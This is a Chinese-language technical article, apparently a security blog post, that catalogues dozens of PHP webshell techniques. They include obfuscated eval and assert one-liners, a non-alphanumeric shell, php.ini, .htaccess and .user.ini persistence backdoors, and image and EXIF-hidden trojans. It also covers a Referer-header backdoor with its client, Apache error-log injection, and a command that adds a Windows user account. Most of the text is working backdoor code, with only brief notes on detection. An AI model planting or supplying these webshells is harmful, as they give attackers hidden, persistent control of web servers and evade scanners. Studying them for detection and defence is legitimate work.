Deformity PHP Webshell、Webshell Hidden Learning
1. 引言
本文旨在研究Webshell的各种猥琐编写方式以及webshell后门的生成、检测技术,主要分享了一些webshell的编写方法以及当前对webshell的识别、检测技术的原理以及相应工具的使用,希望能给研究这一领域的朋友带来一点点帮助,同时抛砖引玉,和大家共同讨论更多的技术细节,共同学习成长
Relevant Link:
http://www.sec-un.org/webshell-security-testing-1-based-traffic-detection.html http://www.sec-un.org/webshell-security-testing-2-go-deep-inside-the-user.html http://www.sec-un.org/webshell-security-detection-3-based-on-behavioral-analysis-to-discover-unknown-webshell.html http://www.sec-un.org/webshell-security-testing-4-webshell-based-on-flow-analysis-sample.html http://www.sec-un.org/webshell-5-webshell-see-capacity-analysis.html http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63 http://drops.wooyun.org/tips/839 http://1.lanz.sinaapp.com/?p=3 http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html http://www.freebuf.com/articles/web/11403.html http://zone.wooyun.org/content/5429 https://www.virustotal.com/ http://www.8090sec.com/suixinbiji/111568.html http://blog.d99net.net/article.asp?id=435 http://www.91ri.org/10146.html
2. webshell原理介绍
来自百度百科的定义:
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器
WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序
命令等)
也就是说,webshell也就是一些"正常"的脚本文件(这里说它正常,是从文本的角度来说的),而webshell的恶意性则是表现在它的实现功能上的,也叫Back Door,是一段带有恶意目的的正常脚本代码(Mareware)
在开始学习webshell的各种奇技淫巧之前,我们要先了解一个基本概念,即webshell的组成,下面是引用Monyer的一篇文章:
还有一张是来自drops的一篇paper:
即不管webshell的外形怎么改变,它的基本骨架都符合这个结构,即WebShell的实现需要两步:
1. 数据的传递 2. 执行所传递的数据
根据这两个基本点,webshell可以衍生出很多种写法
1. 数据的传递: 1) $_GET、$_POST、$_COOKIES、$_FILE...(HTTP包中的任何位置都可以作为payload的传输媒介) 2) 从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取) 3) 从磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在磁盘文件中,利用IO函数来读取) 4) 从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取) 5) 从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取) 2. 代码执行(将用户传输的数据进行执行) 1) eva、system...l执行(这是最普通、标准的代码执行) 2) LFI: include、require...(利用浏览器的伪协议将文件包含转化为代码执行) 3) 动态函数执行($()...PHP的动态函数特性) 4) Curly Syntax(${${...}}...这种思路可以把变量赋值的漏洞转化为代码执行的机会)
关于webshell的防御,这里我的理解应该做一下区分:
webshell有三大类的问题: 1) 由一些CMS应用系统的漏洞导致的getshell,攻击者在注入攻击的那一瞬间进行getshell,这类webshell的防御主要是在对原有应用系统的代码审查上,审核原有的应用系统的代码中
是否存在可能导致getshell的"不安全代码" 2) 对攻击者写入的webshell代码本身的检测,我们需要了解黑客都会使用哪些种类的奇技淫巧的webshell编写方式,并对这类文件的操作行为进行监控并进行报告 3) 还有一种假设的前提是黑客已经获得了一定的对目标服务器的控制权限,黑客为了后续的访问,会留下逻辑后门。这种逻辑后门可以很宽泛的理解一下: 3.1) 人工故意放置一个带注入点的文件,并放上正常的文件内容,增加迷惑性,让扫描工具工具和管理员看起来像正常文件 3.2) 修改服务器配置文件:
1) .htaceess,修改某些扩展名的执行权(例如手工添加 .fackType PHP 这种映射关键的建立).
SetHandler application/x-httpd-php: 添加jpg和PHP解析引擎的映射
2) 建立一种逻辑后门。或在php.ini中设置auto_preload来预加载.php脚本,放置后门代码 3.3) 修改CMS的配置,放行某些(.php、.asp)的上传权限 3.4) 人工设置几个包含容易导致漏洞的代码的脚本文件(LFI、命令执行等)
3. webshell的常见类型以及变种方法
0x1: php.ini隐藏后门
这是php的核心配置文件
在php.ini 中添加:
; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = choop.php ; (auto_prepend_file是在任意PHP脚本的头部) ; (auto_append_file是在任意PHP脚本的尾部) ; (不管头部还是尾部,webshell都能被正常执行) ; LittleHann include_path = "E:\wamp\www\shell;." ;我们所要include的文件目录放在根目录的前边。不然的话apache会在根目录下搜索我们的后门(当然是没有了从而导致服务器解析php文件失败) 在"E:\wamp\www\shell"中创建 choop.php: <?php eval($_POST[1]); ?> 这样可以将webshell藏在磁盘上的任意位置,不一定是要web目录,然后在整个服务器运行期间放置后门
对于这种利用php.ini的webshell部署攻击方式,我们在做攻防研究的时候一定要明白它的攻防场景,一般来说,只有黑客具有了远程修改文件或者已经拿到了目标主机的权限,为了之后的隐蔽访问,而采取的在php.ini中部署一个"后门",也就是说这种webshell部署更倾向于后门的目的
0x2: .htaccess文件构成的PHP后门
.htaccess是apache的分布式配置文件,.htaccess文件(或者"分布式配置文件")提供了针对不同WEB应用对应的子目录改变配置的方法
.htaccess files (or "distributed configuration files") provide a way to make configuration changes on a per-directory basis. A file, containing one or more configuration directives, is placed in a particular document directory, and the directives apply to that directory, and all subdirectories thereof.
.htaccess文件可以看成是apache核心配置文件的一个子集,按照"就近原则",.htaccess中的指令可以对httpd.conf进行覆盖,前提是httpd.conf中开启了允许覆盖的开关
AllowOverride All
在.htaccess中有很多"指令",详细的指令作用可以参阅官方给出的doc,这里我们重点学习和部署后门WEBSHELL有关的以下几条指令
1. AddHandler http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler 1) Description: Maps the filename extensions to the specified handler 2) Syntax: AddHandler handler-name extension [extension] ... 3) Context: server config, virtual host, directory, .htaccess 4) Override: FileInfo 5) Status: Base 6) Module: mod_mime example: AddHandler php5-script .logs 将对.logs的后缀文件解析映射到PHP脚本解析器上 2. AddType http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler 1) Description: Maps the given filename extensions onto the specified content type 2) Syntax: AddType MIME-type extension [extension] ... 3) Context: server config, virtual host, directory, .htaccess 4) Override: FileInfo 5) Status: Base 6) Module: mod_mime example: AddType text/html .logs 指定了.logs的后缀的文件的文件扩展类型为"text/html",这决定了PHP解析这个文件的方式 3. SetHandler http://httpd.apache.org/docs/2.2/mod/core.html#sethandler 1) Description: Forces all matching files to be processed by a handler 2) Syntax: SetHandler handler-name|None 3) Context: server config, virtual host, directory, .htaccess 4) Override: FileInfo 5) Status: Core 6) Module: core 7) Compatibility: Moved into the core in Apache 2.0 example: SetHandler application/x-httpd-php 将所有脚本请求都强制指定为使用"application/x-httpd-php"进行解析
基于对以上知识的了解,我们来看几种GETSHELL、部署、隐藏WEBSHELL的方式
1. SetHandler 可将php代码存于非php后缀文件,例: x.jpg 将以下代码写入.htaccess中 SetHandler application/x-httpd-php 连接x.jpg即可启动后门木马 http://26836659.blogcn.com/articles/利用-htaccess文件来执行php脚本.html 2. AddHandler、AddType 可将php代码存于非php后缀文件,例: x.logs 将以下代码写入.htaccess中 AddHandler php5-script .logs AddType text/html .logs 连接x.logs,此时x.logs会被apache当成PHP脚本进行解析 3. php_value 将以下代码写入.htaccess中, 文件路径必须是绝对路径,访问网站上任何php文件都会启动该php后门木马 php_value auto_append_file E:/wamp/www/choop.php
Relevant Link:
https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet http://zone.wooyun.org/content/16114 http://httpd.apache.org/docs/2.2/howto/htaccess.html
0x3: .user.ini文件构成的PHP后门
.user.ini是php应用的分布式配置文件
和.htaccess的利用思想是一样的,.user.ini也利用分布式的自定义配置文件、从而进行"配置覆盖、劫持",从而bypass原本的防御逻辑的攻击思想
1. 自PHP 5.3.0起,PHP支持基于每个目录的".htaccess风格"的"INI文件"。此类文件仅被CGI/FastCGI SAPI处理。此功能使得PECL的 htscanner扩展作废。如果使用Apache,则用.htaccess 文件有同样效果 2. 除了主php.ini之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。 3. 在.user.ini风格的INI文件中只有具有 1) PHP_INI_PERDIR 2) PHP_INI_USER 模式的INI设置可被识别 4. 两个新的INI指令 1) user_ini.filename 2) user_ini.cache_ttl 控制着用户INI文件的使用 5. user_ini.filename设定了PHP会在每个目录下搜寻的文件名 1) 如果设定为空字符串则PHP不会搜寻 2) 默认值是: .user.ini 6. user_ini.cache_ttl控制着重新读取用户INI文件的间隔时间 1) 默认是300秒
需要注意的是,对于.user.ini这种分布式的配置文件来说,它可以使用的指令集是有限制的
http://php.net/manual/zh/configuration.changes.modes.php
在.user.ini风格的INI文件中只有具有"PHP_INI_PERDIR"和"PHP_INI_USER"模式的INI设置可被识别,由此我们可以知道,".user.ini"
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为"PHP_INI_PERDIR、PHP_INI_USER"的设置
在我们能够自定义的配置指令中,我们可以发现如下几条指令可以被用来进行webshell的部署
这和php.ini的利用思路是一样
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载
从这点来说,我们会发现有很多web server具有类似的特性,例如tomcat对于j2ee应用的web.xml文件的变动就会进行自动reload,而不需要重启tomcat server。这是服务器提供的一种特性,而从攻防的角度来看,我们可以有2种利用方式 1. webshell后门部署 2. 服务器配置相关漏洞修复 因为这种分布式配置文件允许安全研究员对子应用而不是整个web server进行小范围的配置修改,从而可以进行配置加固,并且可以获得即时生效的效果
Relevant Link:
http://php.net/manual/zh/configuration.file.per-user.php http://php.net/manual/zh/ini.list.php http://drops.wooyun.org/tips/3424
0x4: 利用PHP动态变量特性
<?php //@eval($_POST['op']); @eval(${"_P"."OST"}['op']); ?> //使用注释符来规避基于黑名单的正则 <?php //@eval($_POST['op']); @eval($/*aaa*/{"_P"."OST"}['op']); ?> 使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS["_POST"]、$_FILES等。 <?php @eval($_REQUEST['op']); ?> $_REQUEST 中的变量通过 GET,POST 和 COOKIE 输入机制传递给脚本文件。这个数组的项目及其顺序依赖于 PHP 的variables_order 指令的配置。 <?php @eval($GLOBALS['_POST']['op']); ?> <?php @eval($_FILES['name']); ?> (然后把payload写在文件名中)
0x5: tiny php shell
提是对方的服务器的php.ini开启了 short_open_tag = On <?=($_=@$_GET[2]).@$_($_GET[1])?> http://localhost/shell/choop.php?2=system&1=dir
0x6: Non alphanumeric webshell
<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); //ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p")); //ASSERT("eval($_POST[1])"); //key:=1 ?>
0x7: 图片木马
choop.php: <?php $wp__theme_icon=create_function('',file_get_contents('/hacker.gif')); $wp__theme_icon(); ?> hacker.gif: phpinfo();
这是图片木马的利用方式的一种) http://www.php.net/manual/zh/function.create-function.php string create_function ( string $args , string $code ) 但是这种方法的利用有一个问题,不能像include那样有兼容性,include的情况是允许include进来的语句有错误,PHP会忽略这些错误,而去执行include进来的有效PHP代码 而create_function('',file_get_contents('/hacker.gif')); 这种方法不允许图片中有非法数据(其实就是真实的图片数据),否则就会出现解析错误,所以黑客只能把纯的木马脚本
保存成图片格式而已,这样就可能导致无法绕过图片上传防御机制
对于图片木马需要明白的是
1. short_open_tag = On 由于jpg、gif等格式的图片中,出现<?这种字符的频率很高,很容易造成PHP解析错误 2. short_open_tag = Off 这种情况下,图片WEBSHELL的运行较稳定,黑客插入的<?php ?>能够得到稳定的执行
0x8: preg_replace的"/e"执行特性
<?php $subject='any_thing_you_can_write'; $pattern="/^.*$/e"; $payload='cGhwaW5mbygpOw=='; //cGhwaW5mbygpOw==: "phpinfo();" $replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))"; //406576616c286261736536345f6465636f646528: "eval(base64_decode("; preg_replace($pattern, $replacement , $subject); ?> PHP pack() 函数,基本上和数据类型的转换是一个类型的函数 http://www.w3school.com.cn/php/func_misc_pack.asp preg_replace — 执行一个正则表达式的搜索和替换 http://cn2.php.net/manual/zh/function.preg-replace.php mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索subject中匹配pattern的部分, 以replacement进行替换。 当使用e修饰符时, 引擎会将"结果字符串"作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。 这个webshell的利用方式的核心在于: 1. 这个PHP函数: preg_replace,它完成了eval的功能 2. 这个pack函数,它完成了eval(base64_decode(...和shellcode_payload的拼接
preg_replace还有另一个变种,mb_ereg_replace
<?php mb_ereg_replace('.*', $_REQUEST['op'], '', 'e'); ?> http://php.net/manual/zh/function.mb-ereg-replace.php
PHP PCRE的模式pattern的分界符比较灵活,当使用 PCRE 函数的时候,模式需要由分隔符闭合包裹。分隔符可以使任意非字母数字、非反斜线、非空白字符
1. 获取preg_replace的参数1 2. 开始逐字符扫描,跳过空格,直到匹配到第一个非空格字符 3. 判断当前字符是否是字母数字、反斜线,这些字符是非法的 4. 将第一个成功匹配的字符当成start_delimiter,继续向后搜索,直到搜索到和start_delimiter对应的结束标记end_delimiter 5. 从end_delimiter位置开始,继续向后搜索,忽略遇到的空格 6. 检测是否出现e字符
对应PHP内核源代码
/php-5.5.31/ext/pcre/php_pcre.c
PHPAPI pcre_cache_entry* pcre_get_compiled_regex_cache(char *regex, int regex_len TSRMLS_DC) { ... //分隔符有可能是有可能是左右反向对称的、或者左右相同对称的 start_delimiter = delimiter; if ((pp = strchr("([{< )]}> )]}>", delimiter))) delimiter = pp[5]; end_delimiter = delimiter; ..
preg_replace的pattern参数可以是数组,所以黑客可以将\e放在数组元素中
Relevant Link:
http://php.net/manual/zh/regexp.reference.delimiters.php
0x9: 字符串拼接+PHP的动态函数执行
<?php $char_as='as'; $char_e='e'; $char_assert=$char_as.'s'.$char_e.'r'.'t'; $char_base64_decode='b'.$char_as.$char_e.(64).'_'.'d'.$char_e.'c'.'o'.'d'.$char_e; @$char_assert(@$char_base64_decode('ZXZhbCgkX1BPU1RbMV0p')); //ZXZhbCgkX1BPU1RbMV0p: "eval($_POST[1])" ?>
要注意的是,用于动态执行的字符串必须要是"assert",不能是"eval",因为在PHP中,eval、die不是函数,而assert是函数
0x10: Curly Syntax
<?php $k = "{${phpinfo()}}"; ?>
<?php $xsser = $_GET["op"]; @eval("\$safedg = $xsser;") ?> http://localhost/shell/index.php?op=${${fputs(fopen("LittleHann.php", "w+"), "<?php eval(\$_POST[1]);?>LittleHann")}};
这个利用方式很巧妙,这种注入的利用场景是假如应用系统的输入点存在注入点,并且这个输入有机会到达代码的某个变量赋值的代码流位置,黑客可以利用这次"变量赋值"进行一次"代码执行"
需要特别注意的是,curl语法代码执行是不能带回显的,即下面这种poc是无法成立的
<?php $xsser = $_GET["op"]; @eval("\$safedg = $xsser;") ?> http://localhost/test/test.php?op=${${'eval($_GET[1])'}}&1=phpinfo();
所以curl并不能作为一个webshell指令执行跳板来使用,而只能作为"一次性代码执行且不需要回显"的场景,即向本地磁盘写一个新的webshell文件
0x11: 逻辑后门
<?php foreach ($_GET as $key => $value) { //由攻击者添加 $$key = $value; } // ... some code if (logged_in() || $authenticated) { //原有逻辑 // ... administration area } ?> 或者增加逻辑 if($user_level==ADMIN || $user_name==’monyer’) { //admin area } 或者增加配置 $allow_upload = array( ‘jpg’,’gif’,’png’, ‘php’, ); 这和拿到CMS后台,然后修改"可允许上传文件类型",增加.php的做法类似,这是一种"后门思想" 这里的情况是黑客已经控制了服务器的一定控制权,在服务器上留后门,黑客可以手动添加这段代码,人工构造本地变量覆盖漏洞,然后黑客在下次攻击的时候就可以进行变量注入, 进而控制原始的代码流 在其他的情况下 在代码中,常常在if()这样的关键跳的位置根据变量进行代码流向判断,而如果应用系统存在任意变量覆盖漏洞,就有可能导致系统本地原本的变量被覆盖,进而导致代码流被黑客控制
0x12: LFI导致的代码执行
<?php $to_include = $_GET['file']; require_once($to_include); ?> 这种LFI可能导致黑客将文件包含漏洞升级为代码执行漏洞 http://localhost/shell/index.php?file=data:text/plain,<?php phpinfo();?> http://tools.ietf.org/html/rfc2397 data:[<mediatype>][;base64],<data>
或者
eval(file_get_contents('php://input'));
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3665062.html
0x13: 动态函数执行
<?php $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); ?> http://localhost/shell/index.php?dyn_func=system&argument=dir 如果目标服务器开启了: register_globals=on 则webshell还可以这么写 <?php $dyn_func($argument); ?> http://localhost/shell/index.php?dyn_func=system&argument=dir 但是register_globals这个选项在PHP5.0以后就取消了,即不管php.ini中写On还是Off都没有任何意义
0x14: PHP动态创建匿名函数(Lamda表达式)
了动态变量直接动态执行函数,PHP还允许使用create_function动态的进行"匿名函数(Lamda)"的创建 http://cn2.php.net/manual/zh/function.create-function.php string create_function ( string $args , string $code ) <?php $foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); ?> http://localhost/shell/index.php?foobar=system('dir') http://localhost/shell/index.php?foobar=eval('phpinfo();') http://localhost/test/test.php?foobar=eval("$_POST[1]") 动态函数的另一种写法: <?php eval("function lambda_n() { echo system('dir'); }"); lambda_n(); ?> <?php eval("function lambda_n() { eval($_GET[1]); }"); lambda_n(); ?> http://localhost/shell/index.php?1=phpinfo()
<?php
eval('function lambda_n() { eval($_POST[1]); }');
lambda_n();
?>
菜刀可连接 这里之所以可以使用create_function是因为在PHP内部 create_function() 只是对 eval()的一层封装,它最终还是使用eval()进行代码执行的
create_function另一种形式
gif89a <?php $_chr = chr(99).chr(104).chr(114); //chr $_eval_post_1 = $_chr(101).$_chr(118).$_chr(97).$_chr(108).$_chr(40).$_chr(36).$_chr(95).$_chr(80).$_chr(79).$_chr(83).$_chr(84).$_chr(91).$_chr(49).$_chr(93).$_chr(41).$_chr(59); //eval($_POST[1]); $_create_function = $_chr(99).$_chr(114).$_chr(101).$_chr(97).$_chr(116).$_chr(101).$_chr(95).$_chr(102).$_chr(117).$_chr(110).$_chr(99).$_chr(116).$_chr(105).$_chr(111).$_chr(110); //create_function $_= $_create_function("",$_eval_post_1); //die(var_dump($_create_function )); @$_(); ?>
0x15: 利用系统输出缓存的方法
<?php $foobar = 'system'; ob_start($foobar); echo "dir c:"; ob_end_flush(); ?> http://cn2.php.net/manual/zh/function.ob-start.php ob_start()会把自己接收到的字符串当作一个"回调函数callback_func",并将接下来的缓冲区输入,当作这个"回调函数"的参数
还可以重写ob_start方法
<?php ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); echo $_REQUEST['pass']; ob_end_flush(); ?>
0x16: 利用assert()断言来进行代码执行
<?php $foobar = 'system("dir")'; assert($foobar); ?> http://cn2.php.net/manual/zh/function.assert.php 1. 断言这个功能应该只被用来调试 2. 你应该用于完整性检查时测试条件是否始终应该为 TRUE 3. 来指示某些程序错误 4. 或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)
0x17: 数组映射(xxx_map)类型函数的处理后回调机制导致的代码执行
array_map — 将回调函数作用到给定数组的单元上
array_map() usort(), uasort(), uksort() array_filter() array_reduce() array_diff_uassoc(), array_diff_ukey() array_udiff(), array_udiff_assoc(), array_udiff_uassoc() array_intersect_assoc(), array_intersect_uassoc() array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc() array_walk(), array_walk_recursive() <?php $evil_callback = $_GET['callback']; $some_array = array(0, 1, 2, 3); $new_array = array_map($evil_callback, $some_array); ?> http://localhost/shell/index.php?callback=phpinfo XML的解析也同样存在这个的映射回调问题 xml_set_character_data_handler() xml_set_default_handler() xml_set_element_handler() xml_set_end_namespace_decl_handler() xml_set_external_entity_ref_handler() xml_set_notation_decl_handler() xml_set_processing_instruction_handler() xml_set_start_namespace_decl_handler() xml_set_unparsed_entity_decl_handler() stream_filter_register() set_error_handler() register_shutdown_function() register_tick_function()
我们可以利用array_map的这个特点,将第一个参数(回调函数)作为命令执行管道,第二个参数(callback参数)作为payload传入,从而构将传统的函数调用(payload)的模式转换为array_map(指令执行,payload),从而躲避WEBSHELL检测机制
<?php $new_array = array_map("ass\x65rt", (array)$_REQUEST['op']); ?> //http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密码: 1
0x18: PHP的序列化、反序列化特性布置后门
<?php class Example { var $var = ''; function __destruct() { eval($this->var); } } //$exp = new Example(); //$exp->var = "phpinfo();"; //die(serialize($exp)); unserialize($_GET['saved_code']); ?> O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} http://localhost/shell/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
原理是: 被序列化的对象在反序列化的时候会自动调用它的析构函数
0x19: 使用HTTP头部的其他非常用字段进行指令的传输
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果。 backdoor: <?php header('Content-type:text/html;charset=utf-8'); //将$_SERVER['HTTP_REFERER']中的参数解析到本地变量中,放到$a数组中 parse_str($_SERVER['HTTP_REFERER'], $a); //判断数组变量$a中的第一个元素是否是"10"、并且数组元素个数是否是9个 if(reset($a) == '10' && count($a) == 9) { //取出数组$a中索引6的元素,即我们传入的实际payload,并进行base64_decode解码 eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); } ?> 利用方式: <?php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code = "phpinfo();"; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/shell/index.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch); ?> 原理分析: http://www.php.net/manual/zh/function.parse-str.php 和extract()作用类似,将外部传入的参数注册为本地变量 http://www.w3school.com.cn/php/func_array_reset.asp reset() 函数把数组的内部指针指向第一个元素,并返回这个元素的值 http://www.w3school.com.cn/php/func_array_slice.asp array_slice(array,offset,length,preserve) array_slice() 函数在数组中根据条件取出一段值,并返回。 http://www.w3school.com.cn/php/func_string_implode.asp implode 这个webshell通过编码的referer来传递攻击载荷,HTTP通信的头部的任何字段、或者HTTP的数据部分的任何字段都可以当作webshell的payload来传递数据的。
0x20: 乱序拼接法
<?php @$_="s"."s"."e"."r"; @$_="a".$_."t"; @$_(${"_P"."OS"."T"}[1-2-5]); ?> 注意这里双层${}的作用,里面那个${}是为了让_POST[-6]被解析出来的,如果不用这个花括号,则这个"_POST[]"就变成一个纯文本了,加上这个${}之后,变量原本的变量特性就表现出来了,
也就能正确传参了 <?php $aaaaa="sewtemznypianol"; $char_system=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5}; //die($char_system); $aaaaaa="edoced46esab_n"; $char_base64_decode=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.
$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0}; die($char_base64_decode); echo $char_system($char_base64_decode("aXBjb25maWc=")); ?> 这种webshell的编写思路很巧妙,和"乱序插入"还不是一个做法 1) "乱序插入"是在一段正常的webshell代码中随机插入一些杂乱的无意义的字母,然后再在下面使用preg_replace之类的正则替换来去除掉这些"混淆盐字母",以还原出原有的正常的
webshell代码 2) 这种做法是先定义一个"字母池",这个"字母池"包含有我们需要构造的关键函数的字符。我们通过从这个字母池中选取特定的索引下的字母,以此来构造出我们想要
的"动态函数"(system、base64_decode)
0x21:利用apache的错误日志进行webshell的注入
用了apche服务器的错误日志文件,当访问一个不存在的连接时,日志中会记录下这样的一句话 [Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters:
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file 这个和很多CMS中的功能很类似,会记录一些运行信息 1) 出错信息,包含导致出错的原始语句,问题也就发生在这里,即用户可能有机会控制这个日志文件的内容 2) 访问记录(例如: 请求URL),和(1)同样的道理,这属于用户可控的信息 3) 其他的HTTP相关信息 后门back door: 这是留待以后用来引入带后门的日志文件使用的 <?php include($_GET['f']); ?> 攻击触发脚本,向日志文件中打入payload http://localhost/shell/attack.php <?php // 1. 初始化 $ch = curl_init(); // 2. 设置选项,包括URL curl_setopt($ch, CURLOPT_URL, "http://localhost/shell/<?php eval(\$_POST[sb])?>"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true); // 3. 执行并获取HTML文档内容 $output = curl_exec($ch); // 4. 释放curl句柄 curl_close($ch); ?> 执行这个脚本后,会在apache的错误日志中留下原始的访问记录 [Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters:
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file 之后吧log的地址当做参数传入即可,这里log位置须自行查找 http://localhost/shell/index.php?f=E:\wamp\logs\apache_error.log
0x22: 利用字符的运算符来进行webshell的构造
<?php echo 'a'|'d';//e! ?> 字符串和数字的强转: <?php $_="abc"; echo $_+1; //1 ?> <?php $_="1abc"; echo $_+1; //2 ?> 字符串会被强制转换成数字,如果不能转,就返回0 http://www.blogjava.net/zuofei-bie/archive/2010/03/31/317092.html <?php $_="abc"; echo ++$_; //abd ?> 这种"++"和"+"的表现形式还不太一样,"++"是把字符串最后一个字母进行"+1"
0x23: 使用PHP的管道技术执行系统命令后门
open() http://www.w3school.com.cn/php/func_filesystem_popen.asp <?php /* PHP中如何增加一个系统用户 下面是一段例程, 用户名: test 密码是: 111 */ $command = "net user"; $useradd = "add "; $pwd = "111"; $user = "test"; $user_add = sprintf("%s "%s %s"", $command, $useradd, $user, $pwd); $fp = @popen($user_add,"w"); @pclose($fp); ?> 命令执行成功,添加账户成功。PHP执行命令有很多方法,eval、passthru、system、assert、popen、exec、shell_exec
0x24: 利用PHP的指令替换编写webshell
<?php $cmd = `dir`; echo $cmd; ?> 波浪线下面那个键括起来的字符串可以当命令执行。
0x25: 利用一些CMS等开源框架进行本地变量覆盖
<?php foreach ($_GET as $key => $value) { $result .= "$key=$value&"; } /* 很多开源框架都有类似上面这段功能的代码,用于将用户输入的参数进行批量的本地化 但是这也往往导致了"本地变量覆盖漏洞" 同时也可以被黑客用来在原本正常的文件中插入 parse_str($result); $sys($command); 这段代码来进行getshell */ .. parse_str($result); $sys($command); ?> http://localhost/shell/index.php?sys=system&command=dir
0x26:基于图片文件非可显示字段(例如图片头meta)部署PHP图片木马
和传统的把php代码type进图片不一样,这里介绍另一种图片木马的利用方式。 图片木马相关知识 http://en.wikipedia.org/wiki/Exchangeable_image_file_format http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html Malware Hidden Inside JPG EXIF Headers http://cn2.php.net/manual/zh/function.exif-read-data.php exif_read_data exif_read_data() 函数从 JPEG 或 TIFF 图像文件中读取 EXIF 头信息。这样就可以读取数码相机产生的元数据 <?php echo "img.jpg:<br />\n"; $exif = exif_read_data('img.jpg', 'IFD0'); //IFD0 所有 IFD0 的标记数据。在标准的图像文件中这包含了图像大小及其它。 echo $exif===false ? "No header data found.<br />" : "Image contains headers<br />"; echo "<br />"; //FILE FileName, FileSize, FileDateTime, SectionsFound $exif = exif_read_data('img.jpg', 'FILE', true); echo "img.jpg:<br />\n"; foreach ($exif as $key => $section) { foreach ($section as $name => $val) { echo "$key.$name: $val<br />\n"; } echo "<br />"; } ?> 这里提出了一种隐藏webshell的新思路 1. 和传统的图片木马不一样,传统的图片木马就是简单的利用type命令把webshell代码接在一个正常的图片尾部,然后在另一个脚本中使用include包含进来,PHP解析解析引擎会忽略在
PHP看来毫无意义的图片数据的乱码,而去执行在文件结尾的PHP代码,这是一种很好的利用方式 2. 而关于这种图片木马,可以有一种更加精确的利用方式,图片(也就是EXIT格式的文件)的每个区段都是有精确意义的,我们可以将我们的webshell准确地放置在这些指定的区域,
